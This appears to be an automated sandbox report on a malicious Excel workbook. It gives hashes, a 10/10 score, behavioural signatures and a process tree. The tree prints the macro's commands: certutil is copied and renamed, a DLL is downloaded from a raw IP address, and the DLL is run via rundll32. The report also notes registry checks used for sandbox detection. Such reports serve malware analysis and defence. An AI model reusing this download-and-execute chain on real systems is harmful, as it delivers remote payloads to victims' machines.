495bfc6fca2bcdb3e5b5b7994efda1218eacee883c280afada9e88d7b48d512d

General

Target

workout_L000000000.xlsb
Size

334KB
MD5

3121437a9424d2150795147873cbf518
SHA1

5dceca167e8e5271a9d3b9a01e2861323e99c0a6
SHA256

495bfc6fca2bcdb3e5b5b7994efda1218eacee883c280afada9e88d7b48d512d
SHA512

72582bccd674fd88490aefde30c1da74474ca4413faa104ca24c759b2ba05b07759bcb7340a3b42b85a12b99ec9521091be7f0d7e09c619c5c9be004eef6b89a

Score

10^/10

Malware Config

Extracted

Language

xlm4.0

Source

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3532	3628	cmd.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2728	3628	cmd.exe	EXCEL.EXE

Executes dropped EXE 1 IoCs

Processes:

K2KV8Gi.exe

pid process

2336 K2KV8Gi.exe

pid	process
2336	K2KV8Gi.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3628 EXCEL.EXE

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	process
3628	EXCEL.EXE
3628	EXCEL.EXE
3628	EXCEL.EXE
3628	EXCEL.EXE
3628	EXCEL.EXE
3628	EXCEL.EXE
3628	EXCEL.EXE
3628	EXCEL.EXE
3628	EXCEL.EXE
3628	EXCEL.EXE
3628	EXCEL.EXE
3628	EXCEL.EXE
3628	EXCEL.EXE
3628	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 3628 wrote to memory of 3532	3628	EXCEL.EXE	cmd.exe
PID 3628 wrote to memory of 3532	3628	EXCEL.EXE	cmd.exe
PID 3628 wrote to memory of 2336	3628	EXCEL.EXE	K2KV8Gi.exe
PID 3628 wrote to memory of 2336	3628	EXCEL.EXE	K2KV8Gi.exe
PID 3628 wrote to memory of 2728	3628	EXCEL.EXE	cmd.exe
PID 3628 wrote to memory of 2728	3628	EXCEL.EXE	cmd.exe
PID 2728 wrote to memory of 2288	2728	cmd.exe	rundll32.exe
PID 2728 wrote to memory of 2288	2728	cmd.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\workout_L000000000.xlsb"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3628

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c mkdir %programdata%\K2KV8Gi && copy /b %SystemRoot%\System32\certutil.exe c:\programdata\K2KV8Gi\K2KV8Gi.exe
2⤵
- Process spawned unexpected child process
PID:3532

C:\programdata\K2KV8Gi\K2KV8Gi.exe
"C:\programdata\K2KV8Gi\K2KV8Gi.exe" -urlcache -f -split http://151.236.17.62 c:\programdata\K2KV8Gi\K2KV8Gi.dll
2⤵
- Executes dropped EXE
PID:2336

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c rundll32 %programdata%\K2KV8Gi\K2KV8Gi.dll,GlobalOut
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2728

C:\Windows\system32\rundll32.exe
rundll32 C:\ProgramData\K2KV8Gi\K2KV8Gi.dll,GlobalOut
3⤵
PID:2288

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\ProgramData\K2KV8Gi\K2KV8Gi.exe
MD5
056c7d065f4622da9cc2848f47e2bae2

SHA1
6c6f18b0ec53dc63488961c4240ec584ac71c25f

SHA256
e09a2d7ecac1a10c89e27750a18790da06ddd7311965dbc9ab6096f636dae61c

SHA512
db158c9b669a2668149caf30df32595a488dcc831d7518ca2e793eac0885492a2eaee838914e706a585b7f3f1c801e299c697b2cec509204561bb098e16253d5

Download Submit
C:\programdata\K2KV8Gi\K2KV8Gi.exe
MD5
056c7d065f4622da9cc2848f47e2bae2

SHA1
6c6f18b0ec53dc63488961c4240ec584ac71c25f

SHA256
e09a2d7ecac1a10c89e27750a18790da06ddd7311965dbc9ab6096f636dae61c

SHA512
db158c9b669a2668149caf30df32595a488dcc831d7518ca2e793eac0885492a2eaee838914e706a585b7f3f1c801e299c697b2cec509204561bb098e16253d5

Download Submit
memory/2288-291-0x0000000000000000-mapping.dmp

Download
memory/2336-282-0x0000000000000000-mapping.dmp

Download
memory/2728-290-0x0000000000000000-mapping.dmp

Download
memory/3532-268-0x0000000000000000-mapping.dmp

Download
memory/3628-117-0x00007FFA892C0000-0x00007FFA892D0000-memory.dmp

Filesize
64KB

Download
memory/3628-123-0x0000028B0B3B0000-0x0000028B0D2A5000-memory.dmp

Filesize
31.0MB

Download
memory/3628-130-0x00007FFA859F0000-0x00007FFA85A00000-memory.dmp

Filesize
64KB

Download
memory/3628-122-0x00007FFAA9DE0000-0x00007FFAAAECE000-memory.dmp

Filesize
16.9MB

Download
memory/3628-121-0x00007FFA892C0000-0x00007FFA892D0000-memory.dmp

Filesize
64KB

Download
memory/3628-118-0x00007FFA892C0000-0x00007FFA892D0000-memory.dmp

Filesize
64KB

Download
memory/3628-114-0x00007FF7B0880000-0x00007FF7B3E36000-memory.dmp

Filesize
53.7MB

Download
memory/3628-116-0x00007FFA892C0000-0x00007FFA892D0000-memory.dmp

Filesize
64KB

Download
memory/3628-115-0x00007FFA892C0000-0x00007FFA892D0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads